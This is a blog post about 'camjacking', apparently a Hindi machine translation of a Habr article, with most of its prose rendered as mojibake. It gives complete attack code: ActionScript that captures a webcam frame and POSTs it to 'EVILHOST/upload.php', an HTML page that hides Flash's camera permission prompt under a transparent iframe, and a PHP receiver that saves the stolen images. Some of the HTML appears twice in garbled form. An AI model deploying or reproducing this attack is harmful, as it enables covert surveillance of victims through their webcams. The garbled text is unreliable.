рдХреИрдВрдЬреИрдХрд┐рдВрдЧ, рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреА рддрд░рд╣, рдпрд╛ "рдЧреБрд▓рдЪреИрдЯ!" рдЕрдкрдирд╛ рдЪреЗрд╣рд░рд╛ рдЦреЛрд▓реЛ! тАЭ



рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ, рдореИрдВрдиреЗ рдПрдХ рдирдП рд╣рдорд▓реЗ рдХрд╛ рд╕рд╛рд░ рд╕рдордЭрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА (рд╣рдорд▓рд╛ рдЦреБрдж рдирдпрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рджреЗрдВ)ред рдмрдЧ рд╡рд┐рдВрдбреЛрдЬ 7.8, рдореИрдХ рдУрдПрд╕ рдПрдХреНрд╕ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИред рд╣рдореЗрдВ Google рдХреНрд░реЛрдо, рдФрд░ рдлреНрд▓реИрд╢ рдХреА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╡рд┐рд╖рдп рдХреБрд▓ рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд╡рд┐рдЪрд╛рд░ рдХреА рдЪрд┐рдВрддрд╛ рдХрд░реЗрдЧрд╛, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╣рд╛рд▓ рдХреЗ рджрд┐рдиреЛрдВ рдореЗрдВ рд▓реЛрдХрдкреНрд░рд┐рдпред
рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ? рдореИрдВ рдмрд┐рд▓реНрд▓реА рдорд╛рдБрдЧрддрд╛ рд╣реВрдБред

рдпрд╣ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд░рд╛рдд рдереА, рдФрд░ рдЬреИрд╕реА рдХрд┐ рдЙрдореНрдореАрдж рдереА, рдореИрдВ рдХреЛрдб рдореЗрдВ рдЪреБрди рд░рд╣рд╛ рдерд╛ред рдореБрдЭреЗ рдпрд╣ рднреА рдпрд╛рдж рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХреМрди рд╕реА рд░рд╛рдд рдереА, рд▓реЗрдХрд┐рди рд░рд╛рдд рдиреЗ рдПрдХ рднреВрдорд┐рдХрд╛ рдирд┐рднрд╛рдИред рдХреНрдпрд╛ рдЖрдкрдиреЗ рдХрднреА рд╕реЛрдЪрд╛ рд╣реИ: рдХреНрдпрд╛ рдлрд╝реНрд▓реИрд╢ рдкреНрд▓реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрджреЗрд╢ рдХреЛ рдЫрд┐рдкрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрдм рдПрдХ рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдПрдХ рд╡реЗрдм рдХреИрдорд░рд╛ рдпрд╛ рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреА рд╣реИ? рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣, рдЗрд╕ рддрд░рд╣ рдХреЗ рд╡рд┐рдЪрд╛рд░ рдЕрдирд╛рдпрд╛рд╕ рдЖрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреБрдЫ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреНрдпреЛрдВ рди рдХрд░реЗрдВ рдЬреЛ рдЗрддрдиреА рдЕрдЬреАрдм рддрд░рд╣ рд╕реЗ рдЖрдкрдХреЗ рд╕рд┐рд░ рдореЗрдВ рдШреВрдо рдЧрдпрд╛? рддреЛ рдореИрдВрдиреЗ рднреА рдпрд╣реА рд╕реЛрдЪрд╛ред

рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдФрд░ рдПрдХ рдлреНрд▓реИрд╢ рдХрдВрдЯреЗрдирд░ (рд╡реЗрдмрдХреИрдо рдкрд░ рдкрд╣реБрдВрдЪ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлреНрд▓реИрд╢) рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдкреГрд╖реНрда рд▓рд┐рдЦрд╛ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рдХрд┐ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ 21, рдУрдкреЗрд░рд╛ 12.15 рдпрд╛ рддреЛ рдлреНрд▓реИрд╢ рдПрдиреАрдореЗрд╢рди рдХреА рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реИрдВ, рдпрд╛ рдмрд╕ рдЗрд╕реЗ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдХрд░рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди IE 10 рдФрд░ рдХреНрд░реЛрдо 27.0.1453.110 рдиреЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ рдХреЛ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рдкрд╛рда рдФрд░ / рдпрд╛ рддрд╕реНрд╡реАрд░ рдХреЛ рдЕрдкрдиреЗ рдКрдкрд░ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рдмрдирд╛рдпрд╛ред рдЬреЛ рдирд┐рд╕реНрд╕рдВрджреЗрд╣ рд╡реЗрдм рдбрд┐рдЬрд╛рдЗрдирд░реЛрдВ рдХреЗ рд╕рд╛рде рд╣рд╛рде рд╕реЗ рдЪрд▓реЗрдЧрд╛ред рд▓реЗрдХрд┐рди рдЬреЛ рд╣рд╛рд╕рд┐рд▓ рд╣реБрдЖ, рдЙрд╕ рдкрд░ рдЯрд┐рдХрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рдирд╣реАрдВ рдерд╛ рдФрд░ рдореИрдВрдиреЗ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдЖрдЗрдбрд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╣рдорд▓реЗ рдХреЛ рдХрдо рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдЕрдкрдиреА рдЬрд░реВрд░рддреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ рддреИрдпрд╛рд░ рдХрд░рдирд╛, рдпрд╛рдиреА, рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рднреА "рдЙрдкрдпреЛрдЧреА" рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЙрдзрд╛рд░ рд▓реЗрдирд╛ред

рдореИрдВрдиреЗ рд╡реЗрдм рдХреИрдорд░рд╛ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдЪреБрдирд╛ (рдмреЗрд╢рдХ, рд╣рдо рдЕрднреА рднреА рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рдпрд╣ рддрдм рдорд╣рддреНрд╡рдкреВрд░реНрдг рдерд╛?)
рдЗрд╕рд▓рд┐рдП, рдореИрдВрдиреЗ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рд▓рд┐рдЦрд╛ рдЬреЛ рд╡реЗрдм рдХреИрдорд░рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЪрд┐рддреНрд░ рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред
рдореИрдВ рдПрдХреНрд╢рдирд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рдирд╣реАрдВ рд╣реВрдВ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдкрдХреЛ рдХреЛрдИ рд╢рд┐рдХрд╛рдпрдд рд╣реИ, рддреЛ рдореИрдВ рдХреЛрдб рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реВрдВред

package{ import flash.display.BitmapData; import flash.display.Sprite; import flash.media.Camera; import flash.media.Video; import flash.net.*; import flash.utils.ByteArray; import flash.events.*; public class Main extends Sprite { private var cam:Camera; private var video:Video; private var bitmapdata:BitmapData; private var ba:ByteArray; private var url:URLRequest = new URLRequest("http://EVILHOST/upload.php"); //  upload.php (   ) private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');"); private var loader : URLLoader = new URLLoader(); public function Main():void { run(); } private function run():void { cam = Camera.getCamera(); if(cam != null){ //   cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler); video = new Video(640, 480); cam.setMode(640, 480, 60); //60 fps video.attachCamera(cam); } } private function activityHandler(event:ActivityEvent):void { // ""  bitmapdata = new BitmapData(video.width, video.height); bitmapdata.draw(video); ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder url.method = URLRequestMethod.POST; url.data = ba; loader.addEventListener(Event.COMPLETE, on_complete); loader.load(url); //  function on_complete(e : Event):void { navigateToURL(wclose, '_self'); // Alert } cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler); } } } 


PNGEncoder рдХреЛ рд▓реЗрдВред
рдпрд╣рд╛рдВ рдлреНрд▓реИрд╢рдбрд╛рдЙрди рдкреНрд░реЛрдЬреЗрдХреНрдЯ

рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ IE рдПрдХ рдкрд╛рд░рднрд╛рд╕реА рддрддреНрд╡ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд, рдЖрдк рд╕рдВрд╡рд╛рдж рдмреЙрдХреНрд╕ рдореЗрдВ рдХреНрд▓рд┐рдХ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред
рдЪреВрдВрдХрд┐ рдореЗрд░реЗ рдкрд╛рд╕ рд╡рд┐рдВрдбреЛрдЬ 8 рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХреЗ рддрд╣рдд рдкрд░реАрдХреНрд╖рдг рдзрдорд╛рдХреЗ рдХреЗ рд╕рд╛рде рдмрдВрдж рд╣реЛ рдЧрдП, рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡рд┐рдВрдбреЛрдЬ 7 рдкрд░ рдбрд╛рдпрд▓реЙрдЧ рдмреЙрдХреНрд╕ рдЧрд╛рдпрдм рд╣реЛ рдЧрдпрд╛ (рдЕрдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ рдХреЗ рд╕рд╛рде: 0) рдХреЗрд╡рд▓ рдорд╛рдЙрд╕ рдХреЗ рд╕рд╛рде рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ "рдЪреБрдиреЗ рдЬрд╛рдиреЗ" рдХреЗ рдмрд╛рджред рд▓реЗрдХрд┐рди рдЗрд╕ рджреБрд░реНрднрд╛рдЧреНрдп рдХреЗ рд▓рд┐рдП рднреА рдЙрдирдХреА "рдбрд░реНрдЯреА рд╣реИрдХ" (рдЬрд┐рд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдж рдореЗрдВ) рд╣реБрдИред рдЬрд┐рд╕рдореЗрдВ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдкрд╛рда рдХреА рдЕрд╕реНрд╡реАрдХреГрддрд┐ рдФрд░ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рдУрд╡рд░рд▓реЗ рдХрд░рдиреЗ рдХрд╛ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╣реИ:

1) swf.html:

 <html> <body> <object width="270" height="270"> <param name="movie" value="camjack.swf"> <embed src="camjack.swf" width="270" height="270"> </embed> </object> </body> </html> 


2) index.html:

 <html> <head> <script> var exit=function(){document.location='about:blank'}; //  ,    var tryimages=function(){ //easy hack.   ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //   ;  Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) //    { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) -  "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html> = 'рдкреНрд░рджрд░реНрд╢рди: рдХреЛрдИ рдирд╣реАрдВ' src = 'рдбреЗрдЯрд╛: рдЫрд╡рд┐ / PNG; рдмреЗрд╕ 64, iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY / j // z8ABf4C / qc1gYQAAAAASUVORK5CYII ='> </ img> <html> <head> <script> var exit=function(){document.location='about:blank'}; //  ,    var tryimages=function(){ //easy hack.   ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //   ;  Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) //    { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) -  "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html> 


3) рдпрд╣рд╛рдБ img.jpg

4) upload.php:

 <?php $imgdata = file_get_contents('php://input'); //input raw POST data $length = 10; $randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length); $imgname = "./images/".$randomString.".png"; if($imgdata){ file_put_contents($imgname, $imgdata); //PHP5 }; ?> 


5) рдЕрдкрдиреЗ рдЖрдк рдХреЛ camjack.swf рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВред

6) $ mkdir ./images

рдпрд╣ рд╕рдм рдХреБрдЫ, рдкреНрд░реЗрдо рдХреЗ рд╕рд╛рде, рд╕рд╛рдЗрдЯ рдХреЗ рдореВрд▓ рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред рд╣рд╛рдБ, рдФрд░ upload.php рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрдЯ рдХреА рдЬрдбрд╝ рдореЗрдВ crossdomain.xml рдбрд╛рд▓рдирд╛ рди рднреВрд▓реЗрдВ

рд╕рднреА рдиреГрддреНрдпреЛрдВ рдХреЗ рдмрд╛рдж, рд╡рд┐рдВрдбреЛрдЬ 8 рдореЗрдВ рд╕рдм рдХреБрдЫ рдмрд╣реБрдд рд╡реНрдпрдХреНрддрд┐рдЧрдд рджрд┐рдЦрддрд╛ рдерд╛ (рдЕрдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛: 0.5):



рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдЙрджрд╛рд╣рд░рдг рд╕рд╛рдЗрдЯ (рдзрдиреНрдпрд╡рд╛рдж рдХреЛрд░реЛрд╡рдХрд┐рди ) рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ ред рдпрджрд┐ рдХреБрдЫ рд╢реБрд░реВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рдареАрдХ рд╣реИ, рдпрд╛ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдХреГрдкрдпрд╛ рд╕рджрд╕реНрдпрддрд╛ рд╕рдорд╛рдкреНрдд рдХрд░реЗрдВред рдХрдВрдкреНрдпреВрдЯрд░ рдХреА рдПрдХ рдЬреЛрдбрд╝реА рдкрд░ рд╕рдм рдХреБрдЫ рдЬрд╛рдВрдЪрд╛ред рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдкреНрд░рджрд░реНрд╢рди рдореЗрдВ рдмрд╣реБрдд рджрд░реНрджрдирд╛рдХ рдФрд░ рдЖрддреНрдорд╡рд┐рд╢реНрд╡рд╛рд╕ рдирд╣реАрдВ рд╣реИред

рдСрдирд▓рд╛рдЗрди рдЙрджрд╛рд╣рд░рдг: http: // * / *

рдСрдирд▓рд╛рдЗрди рдЪрд┐рддреНрд░ рджреЗрдЦреЗрдВ: http: // * / *

рдЖрдк рд╕рднреА рдХрд╛ рдзрдиреНрдпрд╡рд╛рдж, рдкрд░реАрдХреНрд╖рдг рдкреВрд░рд╛ рд╣реБрдЖред

рдЦреИрд░, рдХреЛрдб рдХреЗ рд╕рд╛рде рджреЛ рд╡реАрдбрд┐рдпреЛред

рд╡рд┐рдВрдбреЛрдЬ 7:

http://www.youtube.com/watch?v=hQj6bqTAXKQ

рд╡рд┐рдВрдбреЛрдЬ 8:

http://www.youtube.com/watch?v=vuTd481N6Os

PS (рдПрдХ рд▓реЗрдЦрдХ рдХреЗ рд░реВрдк рдореЗрдВред рдЖрдк рдкрдврд╝ рдирд╣реАрдВ рд╕рдХрддреЗ рд╣реИрдВ): рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реБрдЖ рдХрд┐ рд╕реНрдХреВрд▓ рдХреЗ рдмрд╛рдж рдореИрдВ рдЕрдкрдиреЗ рд╡рд┐рд╢рд╛рд▓ рджреЗрд╢ рдХреА рд╕рд╛рдВрд╕реНрдХреГрддрд┐рдХ рд░рд╛рдЬрдзрд╛рдиреА рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдВред рдЬрд┐рд╕рдХреЗ рд╕рдореНрдорд╛рди рдореЗрдВ рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдЦрддрд╛ рд╣реВрдВ: рдпрджрд┐ рдЖрдкрдХреЛ рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдЙрдЪреНрдЪ-рдЧреБрдгрд╡рддреНрддрд╛ рд╡рд╛рд▓реЗ рдСрдбрд┐рдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдореИрдВ рдЖрдкрдХреЛ рдЕрдкрдиреА рд╕реЗрд╡рд╛рдПрдВ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдкрд░реНрдХред

UPD: Google рдиреЗ рдПрдХ рдЕрдкрдбреЗрдЯ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рд╣реИ ред

рдЖрдкрдХрд╛ рджрд┐рди рд╢реБрдн рд╣реЛ!

Source: https://habr.com/ru/post/In182706/


All Articles